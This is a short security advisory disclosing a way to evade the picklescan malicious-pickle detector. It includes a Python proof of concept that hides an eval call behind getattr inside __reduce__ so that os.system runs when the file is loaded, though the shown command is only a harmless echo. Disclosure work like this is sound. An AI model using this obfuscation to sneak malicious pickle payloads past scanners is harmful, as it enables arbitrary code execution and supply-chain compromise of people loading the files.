PYSEC-2026-1789

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC

import builtins

class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)

    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.